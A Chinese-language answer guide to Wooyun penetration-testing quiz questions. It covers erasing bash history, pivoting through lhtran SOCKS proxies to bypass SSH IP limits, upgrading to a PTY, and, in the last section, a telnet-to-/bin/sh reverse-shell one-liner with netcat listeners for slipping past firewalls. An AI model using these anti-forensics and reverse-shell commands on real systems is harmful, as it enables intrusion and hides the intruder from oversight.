此攻略中的题目收集于Wooyun zone,每道题其实都有一些不同的解法,且本套题中有不少题的题目写的不是很清晰,容易产生误解。本题解仅作抛砖引玉,希望有其他解答方案的同学可以留言共同探讨。
1、登录系统如何不让记录历史操作命令?
1.修改/etc/profile文件将HISTSIZE = 1000为0或1 # 91ri.org注:HISTSIZE 是环境变量中用于设置可以保存的历史命令条数,设置为0便不会保存。小编***见到此题目是在wooyun zone 但zone上面的回答都是下面的2,3两种方案,实际上***题意的应该是修改环境变量这种。
2.或者清除用户主目录路径下, bash_history
3.立即清空历史命令的历史记录
history -c
4.bash执行的命令不是立即命令名称写入到历史文件中,而是存储在内部缓冲区,因此也将等bash退出时一并写入。
但是,你可以调用的历史w’的命令bash立即更新历史文件。
history -w
2、ssh 限制了ip登录,要求ssh登录,如何处理?
如果确认被过滤了,并且你有一个shell的话,可以先在这个机器里跑个lhtran.c做一个 socks proxy,如果端口都被过滤了,就再用一次lhtran回连一个socks proxy,这个时候你可以试试用这个代理登录他的ssh,如果好运的话(allow里写了本机的地址),你可以进入系统。
#91ri.org注:wooyun上有人说可以使用iptable转发端口突破,似乎如果只有个user的shell,不能操作iptable吧。也许小编知识水平不够高,不知各位读者有什么想法?欢迎留言讨论,这个问题出的不是很严谨,应该有其他方法。
3、在ssh后门里看不到对方是否登录的情况下,用哪个命令可以准确显示出来?
可以尝试通过linux下的w和who命令来查看。
关于w和who命令的用法可参考《Linux中W与Who命令的使用》
4、如何获取真正的tty
解决这道题我们要先知道两个前置知识,tty与console有什么区别:
1. console是输出设备,tty是字符设备
2. console是虚拟设备,映射到真正tty上面
不过这题作者似乎写的不是很明白,小编按题意给出个人理解,大家自行参考。
解法1:
[test@localhost ~]$ tty /dev/tty2
解法2(wooyun@坏虾):
python -c 'import pty; pty.spawn("/bin/sh")'
解法3:
[test@localhost ~]$ who
5、如何使用telnet进行反向连接
这道题可难为我们团队的同学了,网上的资料说这个无法实现,而且题目感觉写的不清晰,我们做了2天才解决这个问题。
telnet反向连接在实战中的作用:
案例1:黑客试图获取某工业级数据包检测防火墙或者路由器之后(基于路由的防火墙,不代理任何服务)的一台UNIX的系统的WEB服务器的访问权。防火墙仅对外网开放了80及443,这台WEB服务器存在phf漏洞(phf漏洞是什么自行脑补),黑客可远程对该web服务器执行命令。此时就可以通过unix自带的telnet获取到一个交互式的SHELL。(91ri.org补充:因为之所以不用NC是因为服务器一般都有安装telnet,且很少受到限制。而connect又是从目标主机中发起,所以可以达到穿透防火墙及内网的作用。)
环境假设:
target ip : 192.168.128.105
hacker ip:192.168.128.100
telnet 反向连接命令:
target :
/usr/bin/telnet 192.168.128.100 80 |/bin/sh |/usr/bin/telnet 192.168.128.100
hacker:
/opt/netcat/bin/nc -l -n -v -p 80 /opt/netcat/bin/nc -l -n -v -p 25
命令说明:实际上我们是将telnet连接到hacker的80端口的NC上,为了与传统的unix的输入输出机制保持一致,我们通过标准输出即键盘通过管道输给了Bourne shell。而由/bin/sh 执行命令的结果再通过管道输出telnet,并返回到hacker的25端口的NC上。
之所以选择80和25是因为大多数防火墙都允许它们向外访问,假如没有防火墙,那么选什么端口都可以。